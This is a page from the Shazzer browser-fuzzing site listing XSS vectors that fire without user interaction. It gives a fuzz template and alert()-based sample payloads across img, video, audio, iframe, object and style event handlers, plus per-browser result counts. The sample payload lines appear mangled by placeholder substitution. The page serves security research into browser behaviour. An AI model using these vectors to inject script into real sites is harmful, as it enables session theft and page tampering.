Shazzer logo

XSS vectors that execute automatically

⚠ Browser differences
Chrome logo 7
Firefox logo 7
Edge logo 7
Safari logo 5

This vector shows which events fire without user interaction

hackvertor
Created byhackvertor
Created Apr 17, 2024
Updated May 25, 2025

Tweet
Detecting browser...
CategoryURL Handling
VisibilityPublic
TypeXSS
CharsetUTF-8
$[data1] placeholderhtml
$[data2] placeholderevents
Template used:
<$[data1] src=1 srcdoc=1 data=1 href=1 $[data2]="log('$[data1]->$[data2]')"></$[data1]>0x0D
<$[data1] $[data2]="log('$[data1]->$[data2]')"></$[data1]>

Sample payloads

<object->onerror src=1 srcdoc=1 data=1 href=1 ="alert('object->onerror->')"></object->onerror>0x0D
<object->onerror ="alert('object->onerror->')"></object->onerror>
<style->onload src=1 srcdoc=1 data=1 href=1 ="alert('style->onload->')"></style->onload>0x0D
<style->onload ="alert('style->onload->')"></style->onload>
<img->onerror src=1 srcdoc=1 data=1 href=1 ="alert('img->onerror->')"></img->onerror>0x0D
<img->onerror ="alert('img->onerror->')"></img->onerror>
<audio->onerror src=1 srcdoc=1 data=1 href=1 ="alert('audio->onerror->')"></audio->onerror>0x0D
<audio->onerror ="alert('audio->onerror->')"></audio->onerror>
<audio->onloadstart src=1 srcdoc=1 data=1 href=1 ="alert('audio->onloadstart->')"></audio->onloadstart>0x0D
<audio->onloadstart ="alert('audio->onloadstart->')"></audio->onloadstart>
<video->onerror src=1 srcdoc=1 data=1 href=1 ="alert('video->onerror->')"></video->onerror>0x0D
<video->onerror ="alert('video->onerror->')"></video->onerror>
<video->onloadstart src=1 srcdoc=1 data=1 href=1 ="alert('video->onloadstart->')"></video->onloadstart>0x0D
<video->onloadstart ="alert('video->onloadstart->')"></video->onloadstart>
<iframe->onload src=1 srcdoc=1 data=1 href=1 ="alert('iframe->onload->')"></iframe->onload>0x0D
<iframe->onload ="alert('iframe->onload->')"></iframe->onload>

Fuzz results

Chrome logo
Chrome 144.0.0.0 desktop Windows NT 10.0

Updated

Sat Jan 31 2026
Found 7 results
Loading...
Chrome logo
Chrome 143.0.0.0 desktop macOS 10.15.7older version

Updated

Sat Jan 31 2026
Found 7 results
Loading...
Chrome logo
Chrome 124.0.0.0 Unknown Unknownolder version

Updated

Wed Apr 24 2024
Found 7 results
Loading...
Firefox logo
Firefox 147.0 desktop Linux

Updated

Sun Feb 01 2026
Found 7 results
Loading...
Firefox logo
Firefox 125.0 Unknown Unknownolder version

Updated

Thu Apr 18 2024
Found 5 results
Loading...
Edge logo
Microsoft Edge 144.0.0.0 desktop Windows NT 10.0

Updated

Sat Jan 31 2026
Found 7 results
Loading...
Safari logo
Safari 17.4.1 Unknown Unknown

Updated

Wed Apr 17 2024
Found 5 results
Loading...